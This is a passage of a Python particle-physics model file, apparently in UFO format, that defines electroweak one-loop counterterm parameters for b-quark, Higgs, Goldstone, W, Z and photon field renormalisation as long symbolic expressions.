9*cw**2*MB**2*MH**2*MW**4*MZ**2 + 48*MB**2*MT**2*MW**4*MZ**2 - 18*cw**2*MB**2*MT**2*MW**4*MZ**2 + 18*cw**2*MT**4*MW**4*MZ**2 - 24*MB**2*MW**6*MZ**2 - 30*cw**2*MT**2*MW**6*MZ**2 + 12*cw**2*MW**8*MZ**2 + 9*cw**2*MB**6*MZ**4 - 18*cw**2*MB**4*MT**2*MZ**4 + 9*cw**2*MB**2*MT**4*MZ**4 + 6*MB**4*MW**2*MZ**4 - 18*cw**2*MB**4*MW**2*MZ**4 - 12*MB**2*MT**2*MW**2*MZ**4 - 18*cw**2*MB**2*MT**2*MW**2*MZ**4 + 6*MT**4*MW**2*MZ**4 - 12*MB**2*MW**4*MZ**4 + 9*cw**2*MB**2*MW**4*MZ**4 - 12*MT**2*MW**4*MZ**4 + 6*MW**6*MZ**4 + 80*MB**8*MW**2*sw**2 - 160*MB**6*MT**2*MW**2*sw**2 + 80*MB**4*MT**4*MW**2*sw**2 - 160*MB**6*MW**4*sw**2 - 160*MB**4*MT**2*MW**4*sw**2 + 80*MB**4*MW**6*sw**2 - 8*MB**4*MW**2*MZ**4*sw**2 + 16*MB**2*MT**2*MW**2*MZ**4*sw**2 - 8*MT**4*MW**2*MZ**4*sw**2 + 16*MB**2*MW**4*MZ**4*sw**2 + 16*MT**2*MW**4*MZ**4*sw**2 - 8*MW**6*MZ**4*sw**2 - 32*MB**8*MW**2*sw**4 + 64*MB**6*MT**2*MW**2*sw**4 - 32*MB**4*MT**4*MW**2*sw**4 + 64*MB**6*MW**4*sw**4 + 64*MB**4*MT**2*MW**4*sw**4 - 32*MB**4*MW**6*sw**4 - 16*MB**6*MW**2*MZ**2*sw**4 + 32*MB**4*MT**2*MW**2*MZ**2*sw**4 - 16*MB**2*MT**4*MW**2*MZ**2*sw**4 + 32*MB**4*MW**4*MZ**2*sw**4 + 32*MB**2*MT**2*MW**4*MZ**2*sw**4 - 16*MB**2*MW**6*MZ**2*sw**4 + 8*MB**4*MW**2*MZ**4*sw**4 - 16*MB**2*MT**2*MW**2*MZ**4*sw**4 + 8*MT**4*MW**2*MZ**4*sw**4 - 16*MB**2*MW**4*MZ**4*sw**4 - 16*MT**2*MW**4*MZ**4*sw**4 + 8*MW**6*MZ**4*sw**4)*reglog((MB**2 + vep*complex(0,-1))/MU_R**2))/(384.*cw**2*MB**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2) - (3*ee**2*(2*MB**2 - MH**2)*reglogm((-MH**2 - cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))/(2.*MB**2)))/(128.*MW**2*cmath.pi**2*sw**2) - (3*ee**2*(2*MB**2 - MH**2)*reglogm((-MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))/(2.*MB**2)))/(128.*MW**2*cmath.pi**2*sw**2) + (3*ee**2*(2*MB**2 - MH**2)*(2*MB**2 - MH**2 + cmath.sqrt(-4*MB**2*MH**2 + MH**4 + MB**2*vep*complex(0,4)))*reglogm((-MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))/(2*MB**2 - MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))))/(256.*MB**2*MW**2*cmath.pi**2*sw**2) - (3*ee**2*(2*MB**2 - MH**2)*(-2*MB**2 + MH**2 + cmath.sqrt(-4*MB**2*MH**2 + MH**4 + MB**2*vep*complex(0,4)))*reglogm((MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))/(-2*MB**2 + MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))))/(256.*MB**2*MW**2*cmath.pi**2*sw**2) + (ee**2*(MB**6*MT**2 - 3*MB**4*MT**4 + 3*MB**2*MT**6 - MT**8 + 4*MB**6*MW**2 - 5*MB**4*MT**2*MW**2 + MT**6*MW**2 - 6*MB**4*MW**4 - 3*MB**2*MT**2*MW**4 + 3*MT**4*MW**4 - 5*MT**2*MW**6 + 2*MW**8)*reglogm((-MB**2 + MT**2 - MW**2 - cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))/(2.*MB**2)))/(64.*MB**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(MB**6*MT**2 - 3*MB**4*MT**4 + 3*MB**2*MT**6 - MT**8 + 4*MB**6*MW**2 - 5*MB**4*MT**2*MW**2 + MT**6*MW**2 - 6*MB**4*MW**4 - 3*MB**2*MT**2*MW**4 + 3*MT**4*MW**4 - 5*MT**2*MW**6 + 2*MW**8)*reglogm((-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))/(2.*MB**2)))/(64.*MB**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(MB**6*MT**2 - 3*MB**4*MT**4 + 3*MB**2*MT**6 - MT**8 + 4*MB**6*MW**2 - 5*MB**4*MT**2*MW**2 + MT**6*MW**2 - 6*MB**4*MW**4 - 3*MB**2*MT**2*MW**4 + 3*MT**4*MW**4 - 5*MT**2*MW**6 + 2*MW**8)*(MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))*reglogm((-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))/(MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))))/(128.*MB**4*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(MB**6*MT**2 - 3*MB**4*MT**4 + 3*MB**2*MT**6 - MT**8 + 4*MB**6*MW**2 - 5*MB**4*MT**2*MW**2 + MT**6*MW**2 - 6*MB**4*MW**4 - 3*MB**2*MT**2*MW**4 + 3*MT**4*MW**4 - 5*MT**2*MW**6 + 2*MW**8)*(-MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))*reglogm((MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))/(-MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))))/(128.*MB**4*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(-12*MB**4*MW**2 + 30*cw**2*MB**4*MZ**2 + 24*MB**2*MW**2*MZ**2 - 9*cw**2*MB**2*MZ**4 - 6*MW**2*MZ**4 - 80*MB**4*MW**2*sw**2 + 8*MW**2*MZ**4*sw**2 + 32*MB**4*MW**2*sw**4 + 16*MB**2*MW**2*MZ**2*sw**4 - 8*MW**2*MZ**4*sw**4)*reglogm((-MZ**2 - cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))/(2.*MB**2)))/(384.*cw**2*MB**2*MW**2*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2) + (ee**2*(-12*MB**4*MW**2 + 30*cw**2*MB**4*MZ**2 + 24*MB**2*MW**2*MZ**2 - 9*cw**2*MB**2*MZ**4 - 6*MW**2*MZ**4 - 80*MB**4*MW**2*sw**2 + 8*MW**2*MZ**4*sw**2 + 32*MB**4*MW**2*sw**4 + 16*MB**2*MW**2*MZ**2*sw**4 - 8*MW**2*MZ**4*sw**4)*reglogm((-MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))/(2.*MB**2)))/(384.*cw**2*MB**2*MW**2*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2) - (ee**2*(-12*MB**4*MW**2 + 30*cw**2*MB**4*MZ**2 + 24*MB**2*MW**2*MZ**2 - 9*cw**2*MB**2*MZ**4 - 6*MW**2*MZ**4 - 80*MB**4*MW**2*sw**2 + 8*MW**2*MZ**4*sw**2 + 32*MB**4*MW**2*sw**4 + 16*MB**2*MW**2*MZ**2*sw**4 - 8*MW**2*MZ**4*sw**4)*(2*MB**2 - MZ**2 + cmath.sqrt(-4*MB**2*MZ**2 + MZ**4 + MB**2*vep*complex(0,4)))*reglogm((-MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))/(2*MB**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))))/(768.*cw**2*MB**4*MW**2*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2) + (ee**2*(-12*MB**4*MW**2 + 30*cw**2*MB**4*MZ**2 + 24*MB**2*MW**2*MZ**2 - 9*cw**2*MB**2*MZ**4 - 6*MW**2*MZ**4 - 80*MB**4*MW**2*sw**2 + 8*MW**2*MZ**4*sw**2 + 32*MB**4*MW**2*sw**4 + 16*MB**2*MW**2*MZ**2*sw**4 - 8*MW**2*MZ**4*sw**4)*(-2*MB**2 + MZ**2 + cmath.sqrt(-4*MB**2*MZ**2 + MZ**4 + MB**2*vep*complex(0,4)))*reglogm((MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))/(-2*MB**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))))/(768.*cw**2*MB**4*MW**2*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2)) )'},
texname = '\delta ZL_b^{EW,MB}')
dMB_HWcft_UV_EW = CTParameter(name = 'dMB_HWcft_UV_EW',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0 and WH != 0,-(ee**2*MB**2*Ncol)/(32.*MW**2*cmath.pi**2*sw**2)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0 and WH != 0,(ee**2*MB**2*Ncol*((-8*MB**2)/MH**2 + 2*reglog(4*cmath.pi) - 2*(1 + reglog(4*cmath.pi)) + (4*MB**2*(-reglog(MB**2/MU_R**2)))/MH**2 + (2*(2*MB**2 + MH**2)*reglog((MH**2 + vep*complex(0,-1))/MU_R**2))/MH**2 + (2*(2*MB**2 + MH**2)*reglogm((-MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))/(2.*MH**2)))/MH**2 - ((2*MB**2 + MH**2)*(MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))*reglogm((-MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))/(MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))))/MH**4 + (2*(2*MB**2 + MH**2)*reglogm(-(MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))/(2.*MH**2)))/MH**2 + ((2*MB**2 + MH**2)*(-MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))*reglogm((MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))/(-MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))))/MH**4))/(64.*MW**2*cmath.pi**2*sw**2)) )'},
texname = '\delta Z_{H}^{EW,MB}')
dMB_G0Wcft_UV_EW = CTParameter(name = 'dMB_G0Wcft_UV_EW',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0 and WZ != 0,-(ee**2*MB**2*Ncol)/(32.*MW**2*cmath.pi**2*sw**2)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0 and WZ != 0,(ee**2*MB**2*Ncol*(-reglog(16.) - 2*(1 + reglog(cmath.pi)) + 2*reglog(4*cmath.pi) - (4*MB**2*(-reglog(MB**2/MU_R**2)))/(4*MB**2 - MZ**2) + (2*(-2*MB**2 + MZ**2)*reglog((MZ**2 + vep*complex(0,-1))/MU_R**2))/(-4*MB**2 + MZ**2) + (2*(2*MB**2 - MZ**2)*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/(4*MB**2 - MZ**2) + ((-2*MB**2 + MZ**2)*(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/(4*MB**2*MZ**2 - MZ**4) + (2*(2*MB**2 - MZ**2)*reglogm(-(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/(4*MB**2 - MZ**2) + ((-2*MB**2 + MZ**2)*(-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/(-4*MB**2*MZ**2 + MZ**4)))/(64.*MW**2*cmath.pi**2*sw**2)) )'},
texname = '\delta Z_{G0}^{EW,MB}')
dMB_GpWcft_UV_EW = CTParameter(name = 'dMB_GpWcft_UV_EW',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0 and WW != 0,-(ee**2*MB**2*Ncol)/(32.*MW**2*cmath.pi**2*sw**2)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0 and WW != 0,(ee**2*MB**2*Ncol*reglog(4*cmath.pi))/(32.*MW**2*cmath.pi**2*sw**2) + (ee**2*Ncol*(-(MB**2*MW**2*(2*MB**2 - 4*MT**2 + MW**2*(2 + reglog(16.) + 2*reglog(cmath.pi)))) + (2*MB**2*MW**2*(MB**2 - MT**2 - MW**2)*(MB**4 + MT**4 - MT**2*MW**2 - MB**2*(2*MT**2 + MW**2))*(-reglog(MB**2/MU_R**2)))/((MB - MT - MW)*(MB + MT - MW)*(MB - MT + MW)*(MB + MT + MW)) + (2*MT**2*MW**2*(-MB**2 + MT**2 + MW**2)*(MB**4 - 2*MB**2*MT**2 + (MT**2 - MW**2)**2)*reglog(MU_R**2/MT**2))/((MB - MT - MW)*(MB + MT - MW)*(MB - MT + MW)*(MB + MT + MW)) + 2*MT**2*(MT - MW)*(MT + MW)*(MT**2 + MW**2)*reglogm((MT**2 - MW**2 + vep*complex(0,-1))/MT**2) + (2*MW**2*(MB**8 - MB**6*(4*MT**2 + MW**2) + (MT**2 + MW**2)*(MT**3 - MT*MW**2)**2 + MB**4*(6*MT**4 + MT**2*MW**2 - MW**4) + MB**2*(-4*MT**6 + MT**4*MW**2 - 2*MT**2*MW**4 + MW**6))*reglog((MW**2 + vep*complex(0,-1))/MU_R**2))/((MB - MT - MW)*(MB + MT - MW)*(MB - MT + MW)*(MB + MT + MW)) + (2*MW**2*(MB**8 - MB**6*(4*MT**2 + MW**2) + (MT**2 + MW**2)*(MT**3 - MT*MW**2)**2 + MB**4*(6*MT**4 + MT**2*MW**2 - MW**4) + MB**2*(-4*MT**6 + MT**4*MW**2 - 2*MT**2*MW**4 + MW**6))*reglogm((MB**2 - MT**2 - MW**2 - cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(2.*MW**2)))/((MB - MT - MW)*(MB + MT - MW)*(MB - MT + MW)*(MB + MT + MW)) + (2*MW**2*(MB**8 - MB**6*(4*MT**2 + MW**2) + (MT**2 + MW**2)*(MT**3 - MT*MW**2)**2 + MB**4*(6*MT**4 + MT**2*MW**2 - MW**4) + MB**2*(-4*MT**6 + MT**4*MW**2 - 2*MT**2*MW**4 + MW**6))*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(2.*MW**2)))/((MB - MT - MW)*(MB + MT - MW)*(MB - MT + MW)*(MB + MT + MW)) - ((MB**8 - MB**6*(4*MT**2 + MW**2) + (MT**2 + MW**2)*(MT**3 - MT*MW**2)**2 + MB**4*(6*MT**4 + MT**2*MW**2 - MW**4) + MB**2*(-4*MT**6 + MT**4*MW**2 - 2*MT**2*MW**4 + MW**6))*(MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))))/((MB - MT - MW)*(MB + MT - MW)*(MB - MT + MW)*(MB + MT + MW)) + ((MB**8 - MB**6*(4*MT**2 + MW**2) + (MT**2 + MW**2)*(MT**3 - MT*MW**2)**2 + MB**4*(6*MT**4 + MT**2*MW**2 - MW**4) + MB**2*(-4*MT**6 + MT**4*MW**2 - 2*MT**2*MW**4 + MW**6))*(-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))*reglogm((-MB**2 + MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))))/((MB - MT - MW)*(MB + MT - MW)*(MB - MT + MW)*(MB + MT + MW))))/(64.*MW**6*cmath.pi**2*sw**2)) )'},
texname = '\delta Z_{Gp}^{EW,MB}')
dMB_WWcft_UV_EW = CTParameter(name = 'dMB_WWcft_UV_EW',
type = 'complex',
value = {0:'( 0 if MB == 0 else recms(CMSParam==1.0 and WW != 0,-(ee**2*MB**2*(2*MB**2 - 4*MT**2 + MW**2)*Ncol)/(96.*MW**4*cmath.pi**2*sw**2) + (ee**2*MB**2*(MB**2 - MT**2 - MT*MW - MW**2)*(MB**2 - MT**2 + MT*MW - MW**2)*(MB**2 - MT**2 + MW**2)*Ncol*(-reglog(MB**2/MU_R**2)))/(48.*(MB - MT - MW)*(MB + MT - MW)*MW**4*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(MB**6*MT**2 - 3*MB**4*MT**4 + 3*MB**2*MT**6 - MT**8 - MB**2*MT**4*MW**2 + MT**6*MW**2 - MB**4*MW**4 + 2*MB**2*MT**2*MW**4 + 2*MB**2*MW**6 + MT**2*MW**6 - MW**8)*Ncol*reglog(MU_R**2/MT**2))/(48.*(MB - MT - MW)*(MB + MT - MW)*MW**4*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(-MT + MW)*(MT + MW)*(MT**2 - MT*MW + MW**2)*(MT**2 + MT*MW + MW**2)*Ncol*reglogm((MT**2 - MW**2 + vep*complex(0,-1))/MT**2))/(48.*MW**6*cmath.pi**2*sw**2) + (ee**2*(MB**8 - 4*MB**6*MT**2 + 6*MB**4*MT**4 - 4*MB**2*MT**6 + MT**8 - MB**6*MW**2 + MB**4*MT**2*MW**2 + MB**2*MT**4*MW**2 - MT**6*MW**2 - 2*MB**2*MT**2*MW**4 - MB**2*MW**6 - MT**2*MW**6 + MW**8)*Ncol*reglog((MW**2 + vep*complex(0,-1))/MU_R**2))/(48.*(MB - MT - MW)*(MB + MT - MW)*MW**4*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(MB**8 - 4*MB**6*MT**2 + 6*MB**4*MT**4 - 4*MB**2*MT**6 + MT**8 - MB**6*MW**2 + MB**4*MT**2*MW**2 + MB**2*MT**4*MW**2 - MT**6*MW**2 - 2*MB**2*MT**2*MW**4 - MB**2*MW**6 - MT**2*MW**6 + MW**8)*Ncol*reglogm((MB**2 - MT**2 - MW**2 - cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(2.*MW**2)))/(48.*(MB - MT - MW)*(MB + MT - MW)*MW**4*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(MB**8 - 4*MB**6*MT**2 + 6*MB**4*MT**4 - 4*MB**2*MT**6 + MT**8 - MB**6*MW**2 + MB**4*MT**2*MW**2 + MB**2*MT**4*MW**2 - MT**6*MW**2 - 2*MB**2*MT**2*MW**4 - MB**2*MW**6 - MT**2*MW**6 + MW**8)*Ncol*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(2.*MW**2)))/(48.*(MB - MT - MW)*(MB + MT - MW)*MW**4*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(MB**8 - 4*MB**6*MT**2 + 6*MB**4*MT**4 - 4*MB**2*MT**6 + MT**8 - MB**6*MW**2 + MB**4*MT**2*MW**2 + MB**2*MT**4*MW**2 - MT**6*MW**2 - 2*MB**2*MT**2*MW**4 - MB**2*MW**6 - MT**2*MW**6 + MW**8)*Ncol*(MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))))/(96.*(MB - MT - MW)*(MB + MT - MW)*MW**6*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(MB**8 - 4*MB**6*MT**2 + 6*MB**4*MT**4 - 4*MB**2*MT**6 + MT**8 - MB**6*MW**2 + MB**4*MT**2*MW**2 + MB**2*MT**4*MW**2 - MT**6*MW**2 - 2*MB**2*MT**2*MW**4 - MB**2*MW**6 - MT**2*MW**6 + MW**8)*Ncol*(MB**2 - MT**2 + MW**2 - cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))*reglogm((-MB**2 + MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))))/(96.*(MB - MT - MW)*(MB + MT - MW)*MW**6*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2)) )'},
texname = '\delta Z_{W}^{EW,MB}')
dMB_ZZWcft_UV_EW = CTParameter(name = 'dMB_ZZWcft_UV_EW',
type = 'complex',
value = { 0:'( 0 if MB == 0 else recms(CMSParam==1.0 and WZ != 0,(ee**2*Ncol*((2*MB**2*(-9 - 24*sw**2 + 16*sw**4))/MZ**2 - (4*MB**2*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*(-reglog(MB**2/MU_R**2)))/(4*MB**2*MZ**2 - MZ**4) - (2*(-2*MB**2*MZ**2*(9 - 12*sw**2 + 8*sw**4) + MZ**4*(9 - 12*sw**2 + 8*sw**4) + 2*MB**4*(-9 - 24*sw**2 + 16*sw**4))*reglog((MZ**2 + vep*complex(0,-1))/MU_R**2))/(4*MB**2*MZ**2 - MZ**4) + 2*(9 - 12*sw**2 + 8*sw**4)*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) - (2*(-2*MB**2*MZ**2*(9 - 12*sw**2 + 8*sw**4) + MZ**4*(9 - 12*sw**2 + 8*sw**4) + 2*MB**4*(-9 - 24*sw**2 + 16*sw**4))*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/(4*MB**2*MZ**2 - MZ**4) + ((-2*MB**2*MZ**2*(9 - 12*sw**2 + 8*sw**4) + MZ**4*(9 - 12*sw**2 + 8*sw**4) + 2*MB**4*(-9 - 24*sw**2 + 16*sw**4))*(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/(4*MB**2*MZ**4 - MZ**6) - (2*(-2*MB**2*MZ**2*(9 - 12*sw**2 + 8*sw**4) + MZ**4*(9 - 12*sw**2 + 8*sw**4) + 2*MB**4*(-9 - 24*sw**2 + 16*sw**4))*reglogm(-(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/(4*MB**2*MZ**2 - MZ**4) + ((-2*MB**2*MZ**2*(9 - 12*sw**2 + 8*sw**4) + MZ**4*(9 - 12*sw**2 + 8*sw**4) + 2*MB**4*(-9 - 24*sw**2 + 16*sw**4))*(MZ**2 - cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/(4*MB**2*MZ**4 - MZ**6)))/(1728.*cw**2*cmath.pi**2*sw**2)) )'},
texname = '\delta Z_{ZZ}^{EW,MB}')
dMB_AZWcft_UV_EW = CTParameter(name = 'dMB_AZWcft_UV_EW',
type = 'complex',
value = { 0:'( 0 if MB == 0 else recms(CMSParam==1.0 and WZ != 0,(ee**2*((16*MB**2*Ncol*(3 - 4*sw**2))/MZ**2 + (8*MB**2*Ncol*(-3 + 4*sw**2)*(-reglog(MB**2/MU_R**2)))/MZ**2 + (4*(2*MB**2 + MZ**2)*Ncol*(-3 + 4*sw**2)*reglog((MZ**2 + vep*complex(0,-1))/MU_R**2))/MZ**2 - 4*(-27 - 18*Ncol + 108*sw**2 + 40*Ncol*sw**2)*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) + 4*(-27 - 21*Ncol + 108*sw**2 + 44*Ncol*sw**2)*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) + (4*(2*MB**2 + MZ**2)*Ncol*(-3 + 4*sw**2)*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/MZ**2 - (2*(2*MB**2 + MZ**2)*Ncol*(-3 + 4*sw**2)*(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/MZ**4 + (4*(2*MB**2 + MZ**2)*Ncol*(-3 + 4*sw**2)*reglogm(-(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/MZ**2 - (2*(2*MB**2 + MZ**2)*Ncol*(-3 + 4*sw**2)*(MZ**2 - cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/MZ**4))/(864.*cw*cmath.pi**2*sw)) )'},
texname = '\delta Z_{AZ}^{EW,MB}')
dMB_AAWcft_UV_EW = CTParameter(name = 'dMB_AAWcft_UV_EW',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0,-(ee**2*Ncol)/(108.*cmath.pi**2)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0,(ee**2*Ncol*(reglog(MB) - reglog(MU_R)))/(54.*cmath.pi**2)) )'},
texname = '\delta Z_{AA}^{EW,MB}')
dMB_eCoup_UV_EW = CTParameter(name = 'dMB_eCoup_UV_EW',
type = 'complex',
